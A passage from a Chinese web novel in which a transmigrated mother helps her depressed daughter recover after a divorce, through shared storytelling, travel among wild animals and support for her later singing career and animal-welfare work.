那些柜子上时不时地会出现一两个造型漂亮的小花瓶,里面插着一枝或是一束鲜花绿植。
就连餐桌上,都铺上了一块颜色漂亮的桌布。
美丽,却又不至于精致到让人不舍得触碰。
就好像这个家里,突然多出了一种很久没有了的东西。
那是属于家的温暖。
之前唤醒了宝儿的香气源头,就在桌上。
都是些家常小菜,摆在一起竟也格外好看。
申宝本来是不想吃饭的,只是为了不让妈妈失望才勉强自己走出来。
可站在这里,看着这大变样的客厅,看着颜色鲜艳的菜肴,闻着隐隐传来的香气,还有坐在餐桌边跟她轻轻招手的妈妈,她不知怎么的,就忍不住咽了咽口水,不知不觉走到了桌边坐了下来。
原主的手艺,说实在的,只能算是中等水平。她做不出夹生或是焦糊的黑暗料理,但也别指望能品尝到什么惊艳的美味。她做的饭菜,只能说是勉强能填饱肚子,味道平平,不好不坏。
然而,云灵却不同。她拥有神祇宝典的辅助,即使是演化的餐食,并不是真实的荤腥,也是色香俱全。
宝儿不知道为什么,只觉得吃到的饭菜异常鲜美,仿佛每一口都恰好击中她的味蕾。而
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且,这味道竟让她有种想哭的冲动。
这种感觉,就像那些尝遍了世间美味的外乡人,最终最怀念的还是家中的菜肴一样。那种家的味道,是任何大厨都无法复制的。
小姑娘坐在云灵对面,眼泪如断线的珍珠般滚落,却没有停下吃饭的动作。她手里握着勺子,大口大口地往嘴里送饭,吃得比以往任何一次都要香甜,看上去胃口大开。
云灵看得欣慰不已。吃饭不积极,脑壳有问题。生了病的人,食欲最受影响。不是身体不想吃,而是心里有了抵触,哪怕急需补充营养,大脑也会让身体拒绝进食。
身体一弱,不舒服的感觉就各种冒出来了,这样一来又会影响到心理状态。可以说是一个恶性循环。
云灵知道,要让小姑娘一下子变得活泼开朗起来,是不现实的。但先养好身体,总没有错。
她没有伸手去碰宝儿,也没有刻意说什么追忆往昔温馨生活的人生鸡汤,只是偶尔将小家伙喜欢吃的菜往那边移动一些,方便她夹菜。
一顿饭吃完,云灵蒸的大半锅白米饭,还有三盘子热菜一盘子凉菜,居然全部吃光了。连那一盆清汤,都被喝得干干净净,一点儿也不剩下。
宝儿坐在位置上,看着光溜溜的盘子,再看了看自己有些鼓起来的小肚子,傻傻地没有反应。
云灵却仿佛这一切都很自然的样子,收拾了碗碟往厨房走去,走到一半还回过头来招呼宝儿:“不过来帮忙吗?今天做菜有点儿累,我来洗第一遍,你来帮我清第二遍怎么样?”
宝儿也没想到妈妈会让自己跟着去帮忙洗碗。平常吃完饭,母女俩都是一言不发地各做各事,根本没有多余的交流。
她愣了愣,却没有拒绝,从椅子上下来,乖乖地走到了云灵的身边,帮忙端着两个盘子抬头看着云灵:“好。”
小姑娘长得不算高,可厨房的水池修得本来也就不算太高,她站在那里并不费劲儿。
云灵还特意拿了个大盆子,给她接了清水让她蹲在一边清洗,就更加方便了。
小小的厨房里,母女俩一个站在水池边洗着碗,一个坐在一边的小凳子上清理第二遍,空气中还有洗洁精的味道,看上去竟是格外的有生活的气息,跟早先那种血腥沉重的氛围完全不同。
宝儿的手上戴着大大的橡胶手套,受伤的那只手都不用派上用场,只需要用另一只手将已经洗得很干净的碗筷过一遍水就行了。
这事儿并没有躺在房间里发呆那么轻松,厨房里还有一点点的闷热。
可她看上去却没什么不乐意的样子,小脸甚至有些红扑扑的。尽管表情依旧有些木然,眼神却已经活泛了起来,跟在浴室里划破手腕时那木偶人的状态很不一样了。
小孩子,有时候其实要的很简单,一点点的参与度和温暖,就能让他们开怀不少了。
等到厨房收拾干净了,云灵也没有放孩子回卧室,而是将她叫到了客厅里坐着,问道:“待会儿我会叫你爸回来商量离婚的事情,你是想回避一下,还是想在场听一听呢?”
宝儿心思敏感,人又早熟,哪怕瞒着也会让她感觉到,甚至还会因此多想。
云灵知道宝儿是想知道这些事情的,也知道这个孩子虽然心灵脆弱,可绝不会因为父母离婚而受刺激。
所以她选择如实相告。
宝儿果然是没有拒绝,看着云灵说道:“我可以留下来吗,妈妈?”
“当然可以,”云灵想也不想地点了点头,“我是你妈,那是你爸,我们俩的情况,你这个亲女儿为什么不能知道?想留下就留下。”
宝儿的表情放松了些,连忙回答道:“那我想在场看着你们。”
其实,到这一刻,宝儿还是不太敢相信妈妈是真的愿意跟爸爸离婚的。她担心这一次又是竹篮打水一场空,不过是妈妈想把爸爸哄骗回来的伎俩。
担心之后两个大人会打起来,她想留下来帮着妈妈。
不只是宝儿,她那个亲爹也是这么以为的,接到电话后,第一句话就是:“我会马上回来,你最好不要又临时反悔。反正我是绝对不会留下来的。”
回应他的是一阵电话的忙音。
云灵根本连多搭理他的意思都没有,听到他答应了回来就直接把电话给挂断了。
32. 救赎世界
宝儿以往只见过爸爸不耐烦地挂断妈妈电话的情况,然后妈妈就会拿着电话在家里不停地哭泣,等到放下电话还会跟她各种哀怨的控诉。
这还是第一次见妈妈不等爸爸说完话就挂断了电话的。
云灵却一副这有什么问题的表情看了一眼宝儿,直接说道:“我打电话就是叫他回来的,他既然答应了,那我的目的就已经达到了,何必浪费时间听他多说废话?记住了闺女,时间就是金钱,你可以用几个小时、几天甚至几年去完成一个事情,也许那会为你带来千百倍的经济回报。可哪怕是几秒钟的时间,也别浪费在一个狗男人身上,因为那只会给自己找气受,还会让那个狗男人自我感觉良好。”
宝儿对自己的爸爸被形容成“狗男人”没什么反应,倒是意外地露出了几分好奇的神色来:“可是,妈妈你之前不一直都在爸爸身上浪费时间吗?”
云灵内心一梗,她能说剧情原主的行为和她完全没关系吗?
面对宝儿这难得感兴趣的样子,云灵只有一本正经地开始自己的胡说八道:“那不就是当初脑子里进水了,才会做出这么没有意义的蠢事吗?后来哭得多了,脑子里的水流干净了,再干蠢事就说不过去了。所以啊,你以后如果不想哭,做事前就要考虑清楚,千万别跟你妈学。”
宝儿看了她一眼,就在云灵以为这小姑娘没听懂的时候,她突然说道:“嗯,我知道。”
云灵也不知道她到底知道了什么,反正看着宝儿状态还挺好,这就够了。
宝儿的生父的确是急着离婚和新的真爱共度余生了,云灵的电话打出去没多久,他就已经气喘吁吁地赶了回来,袖子上甚至还能看到一些不小心沾上的颜料,一看就是之前在作画。
以他的性子,一般来说是不会终端了画画跑去干别的事儿的。
看来原主这些年都不离婚的纠缠,的确是让他忍无可忍了。
剧情里,在宝儿自杀急救之后,又过了一段时间,从心理医生那里确诊了女儿患有心理疾病之后,原主才果断地选择了离婚的。
云灵就不需要这个过程了,三言两语跟这位名义上的丈夫说明了一下愿意离婚的状况,又坦诚了对离婚后财产分配的想法。
一个愿意,另一个也巴不得,相关的手续也是这位丈夫很久之前就一直准备好了的,就等着能签字的这一天了。
两个成年人只用了一顿饭的时间就把这事儿给搞定了,中间还确定了一些新的条款。
之后,只要再去民政局一趟办理离婚证就行了。
已经成为了前夫的男人这才有了心思去疑惑起来:“你……你不是不想离婚的吗?怎么突然……我问这个可不是不想离婚了啊,你可别误会!”
他说到一半,就赶紧补充了一句,生怕前妻会再缠上去的模样。
云灵翻个白眼给他,直接将人赶出门去,才懒得多说屁话呢,可见宝儿一脸好奇的模样,她直言道:“你就当我以前傻好了。就你这样的,都三四十岁的人了还留一头长头发当潇洒,在画室里待着不洗头的时候油腻里还带着粉尘,成天勾搭年轻学生都没点数的,我都不知道自己以前为什么能看得上。好在现在脑子清醒了,没时间陪你们那一对两对的上演后宫戏。我就算是个娘娘,你也不是个做皇帝的料,顶多就算个太监。离婚不是很正常的吗?”
前夫一脸震惊,之前一见面就是吵吵闹闹,一个要离婚一个不离婚,时不时地就会上演全武行,所以他很久没跟这个老婆见过面了,有时候连电话都不想接的。
今天要不是听到可以离婚了,才不会回来这一趟。
哪怕是见到这女人焕然一新的打扮,让他觉得眼前一亮,他也没有别的心思,就想着赶紧把离婚的事儿办妥了,免得再出意外。
可现在……
他这个前妻什么时候变得这么犀利了?
跟以前的胡搅蛮缠完全是两种风格,却让他毫无招架之力。
他憋了半天,才说出一句:“我……我……你说谁是太监?”
“你啊,”云灵鄙夷地看了他一眼,“人家皇帝搞后宫吧,还讲究雨露均沾,你这让老婆守了好些年活寡的,不是太监能是什么?哦,对了,还有女儿在,这种少儿不宜的事情就别提了。哎,你也别气,好吧好吧,看在你签字还算大方的份上,就当你是个宫廷画师,行了吧?”
行个屁啊,那还不是个奴才?
这些年缠着不准离婚的不是云灵这女人吗?为什么现在说着说着,反倒像是他才是拖着不肯离的那个人了。签个字还能给自己升一升位份了?
云灵才懒得跟他多解释,几句话就直接把人给忽悠走了,一关上门就对宝儿说道:“看到了没?男人这种东西,又笨又蠢还总以为自己英俊潇洒,是个女人都爱呢!”
云灵若有所思,也不知道又明白了些什么。
这会儿天色已经暗了下来。
已经下楼的前夫那及肩的长发被外面的夜风一吹,就飘了起来。
没走出几步路,便看到自己的黑色外套肩上有些白色的星星点点。
也不知道是今天在画室里不小心弄到的石膏粉,还是头皮屑。
他平时自然是不会在意这些的。
但今天也不晓得咋回事,云灵的那几句话就在耳边绕。
他忍不住把头发往后拢了拢,大概是手心有些汗,他总觉得自己的头发今天有些油腻。
这人都忍不到回家了,赶紧在路边找了个洗发店,急匆匆地走进去让人给他洗了个头,心里这才舒服了半截。
以后,还是要每天出门都洗头,特别是有可能见到这个前妻的时候!
这位前夫这几年里就已经基本住在外面了,几乎也没什么东西好收拾的。
既然双方都有意离婚,加上也没有太多的财产纷争,后面的手续处理就方便多了。
很快,这段互相折磨的婚姻关系就正式宣告结束。
从民政局出来后,他们手里的红本本就换了个颜色。
前夫今天还特意打理过的。
他这种人还是很在意形象的,上次被损了一通,今天自然不能马虎对待,务必要让对方知道自己的“真实实力”。
说实话,能够以大了这么多的年龄几次撩拨到年轻的学生愿意嫁给他,除了才华以外,他的相貌自然是差不到哪儿去的。
好好地收拾干净了,就算年纪比不上十七八岁的少年郎,也比不过二十几的小鲜肉,但文艺大叔还是称得上的,气质并不算差,没有那种油腻中年男的感觉。
这几年老婆在家各种哀怨受煎熬,他跟真爱倒是在外头过得你侬我侬,没受什么苦。
男人本来就不容易显老,他这样的就更占优势了。
要不是知道这男人今天是特意来离婚,而且这离婚也是他盼了很久的事情了,他那真爱还以为这人是又有了新欢,专门打扮了出门约会呢!
只可惜,他一心想要扭转上次形象的目标没有注意他。
就连陪着前妻过来的女儿,都没多看他一眼。
在那母女二人眼中,他就跟个透明人似的,根本不值一提,刚一办好手续,连声“再见”都没有就直接分道扬镳了。
前夫站在门口怅然若失地叹了口气,倒也不是遗憾,只是有种莫名的失落。
就像是全副武装、排练了好久的演员,一上台发现观众们都跑光了一样的感觉吧?
造成这种结果的母女俩并没有义务帮他满足愿望。
母女二人只是随意挑了一间餐馆,吃了顿大餐庆祝了一下,就回家去了。
给申宝改了姓,换作云宝之后,原本小长假结束,云宝也该回去上课了的。
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只是,云灵让医院里开了证明,找到了学校的老师,为孩子申请休学一年。
她和原主不同,不会小瞧了孩子的异常。
既然宝儿现在的状态很不好,她当然不可能当做不知道,必须让她坚持去学校上课。
宝儿本身的性格就不是那种喜欢和别人闹作一团的,生病以后就更是不愿意和别人多接触了。
越是逼迫她融入外界,反而越容易适得其反。
在这种情况下,不应该把人往外推,而是该先从内部解决。
宝儿的状态本来就不太好,在这种情况下精神恍惚,根本学不进去,就算勉强上课,也起不到多大的作用。
不如休学一年,等到好一些了再回学校。
这期间,云灵大可以在做其它事情的同时,自己在家教导孩子。
她虽没有什么学历,有着神祇宝典辅助,她完全不担心。
宝儿对休学的事情接受良好。
也许是再怎么懂事的小孩儿,对“不上学”这件事都有种天然的向往吧。
云灵也没直接提出跟宝儿来一场说走就走的旅行。
离婚分配到的财产不多,但也不算少,足以支付母女俩很长一段时间的生活费了,何况还有云灵在?
云灵将资金投入到股市中,有神祇宝典的指导,她想亏都难。
“宝儿,闲在家里也没事可干,不如我们来写日记怎么样?”云灵对着宝儿说道,“可以写今天发生了什么,也可以写自己编出来的小故事,写完了我们再交换着看,你觉得有意思吗?”
说着,她将电脑转了个方向,示意宝儿去看。
这是一个社交账号的页面,上面已经发布了几条动态,正是这些天上传上去的。
写的都是些拟人化的小动物的故事,看着有一种童话般的稚趣,却又有中日常生活一样的温馨。
这是原主生病之后,用来释放自己压力的方式之一。
云灵不知道哪一种方法更适合宝儿,但她愿意一种一种慢慢试过去。
原主的画技显然是不错的,云灵还将那些小故事都化成了动漫,连颜色都没上,只是简单的黑白线条而已。
原本她只是让涵涵看一看是个什么形式而已,谁知这小丫头居然看入了神,没一会儿就把这些天云灵特意每天上传的那些东西全都看完了。
小姑娘的眼睛顿时变得亮晶晶的,看着云灵就问道:“然后呢?然后小兔子怎么了?她有没有成功地走出沼泽地?她的朋友们还会再见吗?妈妈,你画得好棒啊!”
这是这几年来,这小孩儿说话最多,语气最活泼的一次了。
尽管,是因为对故事的喜爱,还有想要剧透的好奇。
这个故事是剧情原主所写的,而那时候宝儿已经不在了,原主帮助的那个论坛上有许多和宝儿差不多大的孩子,她特意写了许多适合小孩儿看的故事,这些东西很受欢迎。
云灵便也延续了这种风格,这一次倒不是为了别人,而是为了原主的亲生女儿。
见这孩子说起故事比说起那个一言难尽的亲爹都要激动的样子,云灵突然有了一个新的主意:“唔……我还没有想好。不如,宝儿你来接着往下写?你写好了以后,我来画,你有兴趣吗?”
“我……我?”宝儿愣了一下,手指头紧张地扭了扭,“我不行的。”
“怎么不行,我记得你的老师以前经常夸你写作文有灵气的,”云灵鼓励道,“这个故事我现在没灵感了,你要是不写,那我就放弃了。你难道不想把自己幻想出来的结局写下去,然后看我把它们画出来吗?”
宝儿虽然年纪小,还有些稚嫩,可写东西的确是挺有意思的,所以云灵之前才想到“写日记”这个办法。
可既然宝儿对故事更感兴趣,或许一个续写,会比单纯地记日记更有用。
33. 救赎世界
不出所料,经过几番劝说,小姑娘终于点头同意了。
谁在阅读故事时,不会幻想着更符合自己喜好的剧情发展呢?
更何况,如果她不继续写下去,母亲也不会再继续。对于深陷其中的粉丝来说,这简直是一种无法忍受的折磨。
虽然担心自己写不出母亲那样的水准,但内心还是充满了兴奋和期待。
没有了不靠谱的父亲回家制造麻烦,也没有了只知道哀怨的母亲。
家里的装修依旧,但许多细节上的装饰却在一天天地发生微妙的变化。
就像阳光,一缕一缕地射入屋内。
宝儿已经很久没有去想那些烦心事了,这几天里,她甚至没有过伤害自己的念头。
就连睡觉时,她的脑海中也充满了长着白色绒毛的小兔子和它的朋友们在森林里冒险的故事。
每天早晨,她还没睁开眼,就能闻到食物的香味。
这样的日子,就像是一个不愿醒来的美梦。
尽管偶尔还会失眠,精神疲惫到不想说话,但谁都能感受到,她的状态比以前好太多了。
就连主治医生在复诊时,也感到十分惊奇。
然而,想要更进一步,还需要新的突破。
宝儿继承了母亲的,不仅仅是相貌上的相似,还有艺术上的天分。
她的文字虽然稚嫩,没有华丽的修辞,有的句子甚至透露出孩童的纯真。
但这正是她的灵气所在。
如果说故事的前半部分,是成年人的娓娓道来,流畅自然。
那么后半部分,就充满了孩童的天真烂漫,却又带着一种莫名的忧郁伤感。但这种感觉并不沉重,反而越到后面,越能突出温暖治愈的美好。
明明是两种不同的风格,却真的将整个故事连接了起来,完美地融合到了一起。
这故事的后半段依旧发布在账号上,注明了是由博主和女儿共同合作完成的。
连后面部分的剧情,云灵都在神祇宝典的指导下画了图续上,还让小姑娘也画了人设图放在一边对比。
宝儿在画画上天赋有限,说不上难看,却也没多精致漂亮。只是那种带着小朋友风格的画,配上她的文字,却有一种独特的魅力。
出乎意料,这个故事和母女俩的画,比原主当初更快一步地火了起来。
而且,没有那些心情日记和私人记录,这个故事居然几乎没有招来什么黑粉。偶尔蹦跶出一两个,也被其他人刷屏给按了下去,连个水花都没冒出来。
宝儿不习惯和其他人接触,但隔着网络,她的安全感大大提升。
看着那些表达喜欢的留言,她仿佛看到了当初那个对妈妈的故事充满期待的自己。
小姑娘的心里,莫名地就有了一种成就感。
这是和从前那种自卑自疚,仿佛永远都挣脱不得的窒息感完全不同的感受。
第一个故事结束后,云灵没有停下来。
她开始鼓励宝儿独立创作,而她也在一旁写作。
这个账号就像是她们共用的,时不时就会发布一些两人单独写的小故事、画的画,也有母女俩一起完成的作品。
账号的头像,就是一大一小两只兔子的手绘形象,正是取自第一个故事里的角色图案,也代表着云灵和云宝两人。
这个没有多少营销推广、也没什么广告链接的账号,居然就这样火了起来。
云宝的病情没有进一步好转,却也没再恶化。
她像是一个找到了新的小世界的孩子,每天不是跟着妈妈学习知识,就是写自己的小故事。
她最爱的部分,就是自己创作时和看大家留言表示喜爱时,那种感觉,足以抹平心里其他的负面情绪。
有出版社找上门来,商量出版母女俩写的故事,还有配套的漫画单行本。
儿童文学能够这么火的实在不多,他们从这个账号上看到了商机。
宝儿在意的不是稿费和收入,而是能够看到自己的故事变成真正的书籍拿在手里。
而因此得来的利益,更是成了锦上添花。
她不会觉得自己无能为力,也不觉得自己会是个累赘,拖累了母亲。
瞧,她已经能够自己赚钱了!
云灵自然是不会将这种好事拒之门外的。
出版什么的,稿费其实并不多,有时候扣税之后也就才几万块,多一些的也不够她一次投资获益。
但谁让小朋友喜欢呢?
这对云宝来说没坏处,云灵就不会拒绝。
果然,云宝脸上的笑容又多了一些。
这样的日子过了大概半年多,云灵发现这孩子又一次急躁了起来,甚至开始抓狂一般地扯头发、抓挠胳膊。
她暗中观察了几次。
程度不如之前那么凶残,但也是一种预兆了。
云灵想了想:“你想出门去看看吗?”
宝儿看上去有气无力,对云灵的建议并不感兴趣:“不,妈妈,我不想出门可以吗?我还要写明天的故事呢。”
云灵也不气馁,直言道:“你有没有觉得,有时候突然不知道该怎么往下写了?还有时候,好想知道,却又有什么隔着一层,就是写不出来?”
宝儿本来是趴在桌子上,不太想说话的样子。
听到云灵的话后,她一下子抬起头来,没有说什么,但表情已经给出了回答。
“那不是你不够好,而是,”云灵指了指眼睛,“你看得太少了。”
“看得太少?”宝儿睁着眼睛,疑惑地说道,“不是啊,你买给我的书我都看完了。不只是课本……”
“不,”云灵摇了摇头,“我说的是,外面的世界看得太少。灵感是源自于现实的,你不去看看真实的森林,又怎么写出它们的青翠美丽?不去看看朝阳夕阳的壮丽,又怎么在文字中表达那一刻的感动?你的故事,就总是会感觉缺点儿什么,你也总有一天会觉得,不够,这还不够。”
她看着小姑娘沉默了下去,再一次问道:“现在,告诉我,你想跟我出去看看吗?”
云宝被妈妈说得心动了。她确实在写作时感到了一种无形的束缚,仿佛她的想象力被限制在了一个小小的空间里,无法自由地飞翔……
大巴车上,一群穿着各异的男女正坐着。
他们看起来年纪都不大,大多是二三十岁左右的年轻人。
年纪最大的,也不过四十来岁。
靠窗的一排座位上,有一个十二三岁的小姑娘。
她拥有一双漆黑的眼睛,乖巧可人的长相,显得非常讨人喜欢。
小姑娘的眼睛正巴巴地望着窗外,仿佛恨不得将整张脸都贴在车窗上,眼里闪烁着兴奋的光芒,与她从前木
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然的样子截然不同。
云灵随意地倚靠在座椅上,闭目养神,偶尔会睁开眼睛看看身边的孩子,全然没有旅途的疲惫。
这两位,正是已经踏上旅程的云灵和宝儿。
母女俩在国内游历了一圈,欣赏了许多美景,现在来到了国外。
云灵选择的不是那些人潮拥挤的景点,而是直接邀请一些志同道合的人去一些更自然、远离市区的地方。
对于其他独身女士来说,安全问题是需要考虑的,但云灵本人的武力值足以让她即使带着一个小姑娘,也能让一切潜在的邪恶远离。
这些地方追求的是宁静自在,很少见到拥挤的人群。
这让一开始还有些忐忑的宝儿,逐渐适应了这样的环境。
而随团的这些人中,有一部分是当初那个抑郁症论坛的成员或亲属,只是症状略有不同。
这里的每个人都喜欢纵情山水,或是享受冒险,他们通过这些户外活动来改善自己的状况。
宝儿最初只是静静地听其他人闲聊,后来已经能够简单地主动与他们交流。
现在,她虽然还不算开朗活泼,但已经不再是那个沉默寡言、阴郁内向的模样了。
“妈妈!快看!那边有小鹿!”宝儿忍不住拉了拉云灵的胳膊,激动地说,“它在看我!”
宝儿对动物的亲近感比对人要容易得多,可能是因为她接触的第一个故事就是关于兔子和它的森林朋友们,或者是因为动物不会像人一样说话。
在国内,除了常见的猫狗宠物,其他类型的动物很难见到。
但在这里就不同了。
此时,车外路边的浅草丛中,几只小鹿正悠闲地走过,时不时低头吃一口植物的嫩芽。
听到大巴车的动静,它们自然地抬头看向这边,却没有因为害怕而逃走。
这让宝儿激动不已,她的样子就像是一个看到漂亮芭比娃娃的小朋友,完全没有了以前那种孤僻阴郁的感觉。
云灵被宝儿一摇,也朝外看了一眼。
她对这些并不少见,自然也不会像小孩子那样露出特别兴奋的表情。
好在宝儿也不需要她有太明显的反应,她只是像小孩子一样,看到喜欢的事物,第一时间就想分享给亲近的人。
她会在看到小鹿的第一眼就立刻叫妈妈,显然此时与云灵之间的关系,已经不像是云灵刚到这个世界时那么生疏了。
这辆车上,还有不少的人与云宝一样,他们都曾遭遇不幸,有过难以跨越的障碍,但身边的人都没有放弃他们,一直在给予支持和陪伴。
这样的氛围对云宝的影响是积极的。
车子行驶到了休息点。
这里是他们提前租好的一处民宿,房屋主人已经准备好了一切,他们只需输入密码验证后就能直接入住,不会有其他人打扰。
一下车,大家就各自散开去做自己的事情。
收拾好行李后,云宝迫不及待地拉着云灵去了楼下的后院。
那里的一圈篱笆外,已经有几只小松鼠一样的动物在草丛边窸窸窣窣地吃着东西。
小姑娘在楼上看到这一幕,早已按捺不住想要下来看看。
母女俩一靠近,那几个小东西就机灵地抬起头看过来,圆溜溜的眼睛炯炯有神,鼓起的腮帮子还在一动一动的,简直比动画里的还要可爱。
34. 救赎世界
云宝忍住了尖叫的冲动,但她紧紧抓住云灵的手指,透露出她内心的激动。
确实,电视屏幕里的动物和现实中的接触,完全是两回事。
她踮起脚尖,小心翼翼地靠近。
松鼠们一溜烟躲了起来,但很快又探出头来,像小老鼠一样好奇地观察着涵涵。
云宝站在原地,不敢动弹,既想靠近,又怕吓跑它们;留下,心里又痒痒的。
云灵从包里拿出一些细碎的食物:“去吧,它们会喜欢的。”
她事先做了充分的准备。
这个地方以各种野生动物闻名,是旅游的一大亮点。
大多数游客都是为了喂食这些小家伙而来。
这里有专门的防护措施,能接近人群的都是温顺无害的动物,而那些可能威胁游客安全的猛兽,则被隔离在安全区域之外。
而且,已经有很多游客来过这里,不必担心病毒感染。
只要接触后好好清洁,就不用担心安全问题。
云灵甚至提前准备了小动物喜欢的食物。
小动物的陪伴非常治愈,尤其是对天真的孩子来说,它们的影响是巨大的。
云宝接过云灵递过来的食物,小心地从篱笆后伸出手,洒在地上,还模仿动物的叫声,就像乡下老妇人召唤鸡群一样。
这里的小动物胆子很大。
如果是在国内,即使是小山丘路边树上的动物,听到行人的声音也会立刻躲起来。
但在这里,只要不发出太大的声响,它们根本不会害怕。
路边的鹿群照样低头吃草,最多只是抬头看看,这里的几只松鼠甚至慢慢靠近,开始吃云宝洒在地上的食物。
最后,它们甚至主动靠近云宝的手,等待投喂。
小姑娘忍不住摸了摸它们毛茸茸的尾巴,吓得小家伙一下子跑开,但很快又为了食物跑了回来,逗得云宝笑了起来。
云灵站在一边,拍下了这一幕,心满意足地笑了。
不只是她们母女俩,其他人在收拾好东西后,也都去附近逛了逛。
周围不仅有鹿和松鼠,还有其它可爱的小动物。
这里的动物比动物园里的多了些灵性,比一般野生的小动物胆子大一些。
只要主动投喂,它们甚至不会躲开,有的还会允许人摸摸皮毛,表现得十分亲人。
就连队伍中最沉默的人,这会儿脸上都忍不住露出了笑容。
这里的生活太过舒适,让人精神上都忍不住放松了起来。
经过商量,他们甚至一致决定将在这里待的时间延长了几天。
这个决定得到了云宝的双手赞同。
她画画不行,但有一部云灵给她买的小相机。
小姑娘除了投喂小动物外,最喜欢的就是给这些萌物拍照留念了。
在这里的时间里,她脸上的笑容一天比一天多,连记录下来的故事都多了,几乎每天都会在账号上发布一个新的小故事,惹得底下的留言格外活跃。
大家都称赞这小孩儿描写的动物更加鲜活,连风景都很吸引人。
云宝很喜欢看这些反馈信息,晚上睡觉时,还贴在妈妈的身边,悄悄地说了一句:“妈妈,谢谢你,我很喜欢跟你出来玩儿。”
云灵没有说话,只伸手在小姑娘的脑袋上摸了摸,就像这孩子白天去摸那些小动物一样,带着几分怜爱和亲近。
云灵和云宝游玩时,在不伤害她的心灵的时候,也会介绍动物的生存问题,治愈她身心的同时,也会慢慢给她描述社会的残酷……
回国之后,云灵注意到,云宝发生了变化。她不再只是沉浸在写作中,而是开始积极锻炼身体。
生病后,她的身体变得虚弱,而虚弱的身体又会影响心理状态。
现在的云宝,开始主动参与锻炼,甚至比云灵起得还要早,整理好后就来敲门催促她一起去晨跑。
随着时间的推移,云宝的身体变得更加健康,她的四肢变得纤细而有力,脸色也不再像以前那样苍白。除了不太爱说话,云宝仿佛变成了另一个人。
如果不是定期去看医生,别人根本看不出她是一个心理疾病患者。到了高二时,云宝突然降低了锻炼的强度,她的时间开始转移到文艺学习上,仿佛突然从武力转向了歌舞。
其他人可能会认为孩子善变,担心这会影响她的学业,但云灵知道涵涵改变的原因。
云灵不是笨人,她从云宝的言行和搜集的资料中,看出了她的意图。她原本只是希望云宝能够平安成长,但现在看到云宝如此积极向上,她决定默默支持。
云宝想要锻炼,云灵为她制定锻炼计划之余,顺便教了天罗地网式给她。云宝想要学习,云灵就找到了业内知名的老师,让她接受专业培训。
云宝从小就早熟,现在她的心智更加成熟,她感激云灵的帮助。在高三之前,她主动找到了云灵,说出了自己的理想。
云灵没有质疑她能否实现这个理想,而是问:“是我的话让你有了这样的想法吗?”
云宝想了想,点了点头。
云宝记得第一次看到母亲写的那个小故事时,她连做梦都在想着小兔子和森林里的朋友的心情。也记得第一次摸到小松鼠的尾巴,蹭一蹭小鹿的头顶时,那种放松惬意,好像忘记了一切烦恼的开心。
那些可爱的,让她整个人都治愈了的小天使,不应该就这样丧命在那些恶人的手中。
云宝不是与母亲一样的素食主义者,也不是极端的动物保护者。
那些肆意掠杀动物的,却是个例外,她讨厌这些人。
云宝无法将网上看到的那些关于野生动物生存环境问题,还有那些虐杀动物的问题,都抛之脑后,继续过自己的小日子。
所以,她有了目标,也有了改变。
云宝最初的梦想是成为一名警察,抓遍那些虐杀动物的人。
然而,随着时间的推移,她逐渐意识到自己并不符合成为一名警察的条件。如果换做是以前的她,可能会在绝望中选择放弃。但是,云灵这些年的潜移默化,让这个小姑娘学会了坚持和变通。
她没有停止前进的脚步,而是选择了一条更适合自己的道路。
“你想成为艺人?”云灵早已察觉到云宝的准备,她的问题几乎是在确认一个已知的答案。
云宝坚定地点了点头,她说:“对!现在娱乐至上,那些当红明星的号召力很强,有的人甚至不愿意听家长、老师或是朋友的劝导,可他们的偶像说一句话,就能让他们发了疯一样地去完美执行。我想成为那样的人,即使不能在最前线战斗,也能在后方给予最好的支援。”
云灵没有质疑云宝的信心,也没有说出任何打击她的话。她看到了云宝制定的详细计划表,未来的目标、准备和能力都被清晰地列了出来。这个孩子虽然还未成年,但对未来已经有了清晰的规划,这样的决定绝不是一时冲动。
云宝继承了父母优秀的基因,从小就长得可爱,只是小时候的阴沉让她难以亲近。这几年,她的外貌和心境都有了巨大的变化,展现出了“女大十八变,越变越好看”的魅力。在画画上虽然天赋平平,但在其它方面,云宝不仅天资聪颖,还非常刻苦。云灵为她找来的专业老师也多次称赞她。
云灵虽然没有创业,她只专注于玩股票,每年都有大笔的钱捐献给外国的动物保护组织。
而母女俩创作的小故事和系列漫画版权也有一笔不小的资金。云宝本身条件优越,云灵也不差钱,她对云宝的成功充满了信心。即使不能大红大紫,为了梦想而努力的过程也足够珍贵。
云灵没有理由阻拦云宝的梦想。既然母女俩已经坦诚相对,云灵提供帮助的方式就更多了,而且不用担心被女儿察觉。
云宝继续接受专业培训,甚至有人专门为她讲解校考的程序。在这种情况下,云宝通过考试是理所当然的。她以超出艺考生分数线一百多分的文化课成绩,加上名列前茅的专业分数,成功考入了心仪的学校。
但云灵知道,这还不是她可以功成身退的时候。娱乐圈并不像表面上那么光鲜,背后隐藏着许多不为人知的事情。云宝本身就有心理问题,云灵将一部分资金投入到娱乐圈。
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云宝还没毕业,云灵就已经为她铺好了路。虽然不至于人尽皆知,但圈内的人都知道“云总”的亲生女儿是谁。只要不是存心与云灵为敌,就绝不会有人敢对云宝下手。
云灵不认为这样做是多余的。有这个条件,为什么非要吃苦?她不理解那些放着家人帮助不要,非要以“自立自强”为理由撞得头破血流的人。哪怕被人抹黑,陷入桃色新闻,也觉得清者自清,不让家人插手。最后名声受损,家人的声誉也受到影响,虽然努力澄清,但一旦提起某某桃色新闻,还是会连累家人上头条。
云宝没有做出这种“你要是帮忙就是看不起我”的事情,她非常乐意接受云灵的帮助。
既然有一个厉害的亲妈保驾护航,让她可以更快地接近自己的理想,云宝当然不会拒绝。
有亲妈的支持,加上她本身的能力,小姑娘刚一出道,就直接爆红了。她的嗓音条件极好,唱歌时感情非常充沛,有一种让人不由得就会跟着歌声情绪同调的魅力。刚出道不久,云宝的歌曲就被挂上了“治愈系歌声”的美誉。
出名后,云宝没有懈怠。热衷于各种公益活动。
有一个有钱又有地位的亲妈在背后支持,她的团队不缺少维持活动的基金。
第二年,云宝就负责演唱了一部动物保护题材电影的主题曲。
这部电影是由云灵投资拍摄的,旨在唤起人们对动物保护的意识。
剧组的投资方财大气粗,这无疑是一件好事。
请来的导演和编剧都是国内外的精英,还有许多动物保护组织的人员参与。
演员阵容更是放弃了那些只有外表没有演技的流量明星,而是动用了大量的资金和人脉关系,邀请了老牌的影后作为主角,以此来撑起票房的主力。
有了这位演技和名气都顶尖的主演,配角的选择就不再那么注重人气,而是全部选择了实力派。
大制作,大投资,大参与,这部名为《兽面人心》的电影一经上映便一炮而红。一开始只是冲着影后名气而去的粉丝,笑着走进电影院,却是一个个哭着走出来的,然后脚步不停地就去买了二刷的电影票。
电影评分从上映开始,直到下映都居高不下,成为了国际电影史上最经典之一的动物题材电影。
